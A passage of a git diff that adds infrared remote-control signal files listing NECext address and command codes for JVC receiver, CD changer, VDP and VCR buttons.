+type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: TV_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: CD_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: CD_<<_(6) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: CD_REW_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: CD_SEARCH_REV_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: CD_REV_(<_<<) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: CD_CHANGER_PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: CD_CHANGER_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: DISC_PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: CD_DISC_PRGM(10) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: CD_0_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: CD_PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: CD_CHANGER_MAG.PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 73 00 00 00 +# +name: MAG.PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 73 00 00 00 +# +name: MAG._PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 73 00 00 00 +# +name: CD_CHANGER_0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 73 00 00 00 +# +name: DISC_MAG.PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 73 00 00 00 +# +name: CD_+10_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 73 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: CD_>>_(P) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: CD_FFWD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: CD_SEARCH_FWD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: CD_FWD_(>_>>) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 00 +# +name: CD_CHANGER_CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CD_CHANGER_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: DISC_CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CD_DISC_CONTINUE(9) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CD_10_(DISC)_CONTIN +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CD_CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 77 00 00 00 +# +name: CD_DISC_P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_CHANGER_P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_DISC_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: DISC_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_CHANGER_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: DISC_P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_DISC_P_(7) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_7/P +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_DISC_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_7/P_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 78 00 00 00 +# +name: CD_DISC_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_DISC_1_(>) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_CHANGER_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_1_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 79 00 00 00 +# +name: CD_DISC_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_DISC_2_(<<) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_CHANGER_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_2_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7A 00 00 00 +# +name: CD_DISC_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_DISC_3_(>>) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_CHANGER_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_3_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7B 00 00 00 +# +name: CD_DISC_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_DISC_4_([]) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_CHANGER_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_4_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7C 00 00 00 +# +name: CD_DISC_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_DISC_5_() +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_CHANGER_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_5_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7D 00 00 00 +# +name: CD_DISC_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: CD_DISC_6_(<<) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: CD_CHANGER_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 +# +name: CD_6_(DISC) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir new file mode 100644 index 000000000..0e91e508d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: VDP_STOP_[] +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 43 00 00 00 +# +name: VDP_PLAY_> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 4C 00 00 00 +# +name: VDP_PAUSE_ +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 4D 00 00 00 +# +name: VDP_SKIP_<< +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 58 00 00 00 +# +name: VDP_SKIP_>> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 59 00 00 00 +# +name: VDP_0 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 60 00 00 00 +# +name: VDP_1 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 61 00 00 00 +# +name: VDP_2 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 62 00 00 00 +# +name: VDP_3 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 63 00 00 00 +# +name: VDP_4 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 64 00 00 00 +# +name: VDP_5 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 65 00 00 00 +# +name: VDP_6 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 66 00 00 00 +# +name: VDP_7/P +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 67 00 00 00 +# +name: VDP_8 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 68 00 00 00 +# +name: VDP_9 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 69 00 00 00 +# +name: VDP_10_CONTINUE +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 6E 00 00 00 +# +name: VDP_+10 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 6F 00 00 00 +# +name: VDP_SEARCH_<< +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 70 00 00 00 +# +name: VDP_SEARCH_>> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir new file mode 100644 index 000000000..8e21fe668 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CC_CONVERTER +type: parsed +protocol: NECext +address: EF 00 00 00 +command: BA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir new file mode 100644 index 000000000..915e2737d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir @@ -0,0 +1,530 @@ +Filetype: IR signals file +Version: 1 +# +name: MAIN/SAP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: TV_RETURN_(10) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: ANT/CABLE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: AV_STATUS/RESET +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV/CAT/SAT_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: TV_CH_10_CONTINUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: VIDEO_PRESET_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_-_(<_<<) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_PRESET_CH_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_+10_PRGM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: VIDEO_PRESET_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_+_(>_>>) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: TV_PRESET_CH_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: TV_VOL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: TV_VOL_+_(+_>) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: TV_VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: TV_VOL+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: TV_VOL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: TV_VOL_-_(<_<<) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: TV_VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: TV_VOL- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: TV_CH_0_MAG.PRGM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: VIDEO_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: TV_CH_1_63HZ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: TV_CH_2_160HZ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: TV_CH_3_400HZ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: TV_CH_4_1KHZ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: TV_CH_5_2.5KHZ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: TV_CH_6_6.3KHZ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: VIDEO_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: TV_CH_7/P_CH_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: VIDEO_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_CH_8_CH_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: VIDEO_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_CH_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: VIDEO_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: CATEGORY_PREVIEW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: BIPHONIC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 41 00 00 00 +# +name: VNR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 45 00 00 00 +# +name: FUNCTION_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: FUNCTION_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: NOTCH +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 74 00 00 00 +# +name: TV_100+_(+10) +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: 100+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: FUNCTION_FORWARD_V +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: FUNCTION_BACK_^ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir new file mode 100644 index 000000000..b7d2109f5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: SURR:EX/ES/PLII +type: parsed +protocol: NECext +address: 22 54 00 00 +command: 10 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 22 54 00 00 +command: 91 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir new file mode 100644 index 000000000..3ea1f9e35 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir @@ -0,0 +1,644 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_STOP_[]_(4) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: CONTROL_STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_STOP[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR1_STOP_(-_[]) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR1_STOP_[] +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: VCR_>>_(P) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_FFWD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_FF_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR1_FFWD_(>_>>) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_FF/>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR1_FFWD_>> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: VCR_<<_(6) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR1_REW_(<_<<) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR_REW/<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR1_REW_<< +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 07 00 00 00 +# +name: VCR1_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: POWER_VCR +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0B 00 00 00 +# +name: VCR_PLAY_>_(1) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PLAY> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR1_PLAY_(+_>) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR1_PLAY_> +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: VCR_PAUSE_(5) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE/STILL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR1_PAUSE_() +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: VCR1_PAUSE_ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 +# +name: TV_(CONTROL) +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 10 00 00 00 +# +name: VCR_10KEY_PRGM +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CHANNEL_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR1_PRESET_CH- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_PRESET_CH_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR1_PRESET_CH_- +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: VCR_10KEY_CONTINUE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CHANNEL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR1_PRESET_CH+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR_PRESET_CH_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR1_PRESET_CH_+ +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: VCR1_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 20 00 00 00 +# +name: VCR_10KEY_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: VCR1_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: VCR_10KEY_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: VCR1_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: VCR_10KEY_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: VCR1_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: VCR_10KEY_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: VCR1_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: VCR_10KEY_5 +type: parsed +protocol: NECext +address: 43 00 